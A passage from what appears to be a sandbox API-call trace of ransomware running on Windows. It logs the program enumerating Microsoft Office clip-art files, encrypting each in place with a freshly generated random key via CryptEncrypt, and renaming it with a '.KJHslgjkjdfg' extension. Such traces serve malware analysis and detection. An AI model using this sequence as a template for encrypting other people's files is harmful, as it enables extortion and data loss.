lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.757] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.757] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.757] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.757] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.757] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.757] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.757] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.758] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.758] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x25bc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x25bc, lpOverlapped=0x0) returned 1 [0249.759] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x25c0, dwBufLen=0x25c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x25c0) returned 1 [0249.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.759] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x25c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x25c0, lpOverlapped=0x0) returned 1 [0249.759] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.759] SetEndOfFile (hFile=0x130) returned 1 [0249.762] GetProcessHeap () returned 0x2ef0000 [0249.762] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.762] GetProcessHeap () returned 0x2ef0000 [0249.762] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.762] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf.kjhslgjkjdfg")) returned 1 [0249.764] CloseHandle (hObject=0x130) returned 1 [0249.765] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36ebde00, ftCreationTime.dwHighDateTime=0x1bf3bda, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36ebde00, ftLastWriteTime.dwHighDateTime=0x1bf3bda, nFileSizeHigh=0x0, nFileSizeLow=0x1234, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00126_.WMF", cAlternateFileName="")) returned 1 [0249.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.766] GetProcessHeap () returned 0x2ef0000 [0249.766] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.766] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.766] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.766] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0249.768] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.768] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.768] GetProcessHeap () returned 0x2ef0000 [0249.768] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.768] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.768] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.769] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.769] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.769] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.769] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.769] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.769] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.769] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.769] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1234, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1234, lpOverlapped=0x0) returned 1 [0249.770] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1240, dwBufLen=0x1240 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1240) returned 1 [0249.771] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.771] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1240, lpOverlapped=0x0) returned 1 [0249.771] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.771] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.771] SetEndOfFile (hFile=0x130) returned 1 [0249.774] GetProcessHeap () returned 0x2ef0000 [0249.774] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.774] GetProcessHeap () returned 0x2ef0000 [0249.774] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.774] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf.kjhslgjkjdfg")) returned 1 [0249.776] CloseHandle (hObject=0x130) returned 1 [0249.776] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x373d6f00, ftCreationTime.dwHighDateTime=0x1bd4b03, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x373d6f00, ftLastWriteTime.dwHighDateTime=0x1bd4b03, nFileSizeHigh=0x0, nFileSizeLow=0x235c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00172_.WMF", cAlternateFileName="")) returned 1 [0249.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.777] GetProcessHeap () returned 0x2ef0000 [0249.777] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.777] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.777] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.777] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.780] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.780] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.780] GetProcessHeap () returned 0x2ef0000 [0249.780] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.780] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.780] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.780] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.780] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.780] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.780] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.781] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.781] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.781] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.781] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.781] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.781] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x235c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x235c, lpOverlapped=0x0) returned 1 [0249.782] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2360, dwBufLen=0x2360 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2360) returned 1 [0249.782] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.782] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2360, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2360, lpOverlapped=0x0) returned 1 [0249.782] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.782] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2434, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.782] SetEndOfFile (hFile=0x130) returned 1 [0249.785] GetProcessHeap () returned 0x2ef0000 [0249.785] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.785] GetProcessHeap () returned 0x2ef0000 [0249.785] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.785] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf.kjhslgjkjdfg")) returned 1 [0249.787] CloseHandle (hObject=0x130) returned 1 [0249.787] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75ca2e00, ftCreationTime.dwHighDateTime=0x1bd4af1, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75ca2e00, ftLastWriteTime.dwHighDateTime=0x1bd4af1, nFileSizeHigh=0x0, nFileSizeLow=0x2142, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00178_.WMF", cAlternateFileName="")) returned 1 [0249.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.788] GetProcessHeap () returned 0x2ef0000 [0249.788] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.788] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.788] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.789] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0249.794] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.794] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.794] GetProcessHeap () returned 0x2ef0000 [0249.794] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.794] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.794] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.794] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.794] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.794] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.794] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.794] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.794] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.794] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.794] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.794] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.795] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2142, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2142, lpOverlapped=0x0) returned 1 [0249.796] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2150, dwBufLen=0x2150 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2150) returned 1 [0249.796] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.796] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2150, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2150, lpOverlapped=0x0) returned 1 [0249.796] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.796] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.796] SetEndOfFile (hFile=0x130) returned 1 [0249.799] GetProcessHeap () returned 0x2ef0000 [0249.799] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.799] GetProcessHeap () returned 0x2ef0000 [0249.799] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.799] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf.kjhslgjkjdfg")) returned 1 [0249.801] CloseHandle (hObject=0x130) returned 1 [0249.801] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefc9200, ftCreationTime.dwHighDateTime=0x1bf324c, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefc9200, ftLastWriteTime.dwHighDateTime=0x1bf324c, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00232_.WMF", cAlternateFileName="")) returned 1 [0249.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.802] GetProcessHeap () returned 0x2ef0000 [0249.802] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.803] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.803] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.803] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.803] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.803] GetProcessHeap () returned 0x2ef0000 [0249.803] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.803] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.803] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.803] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.805] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.805] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.805] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.806] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.806] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, 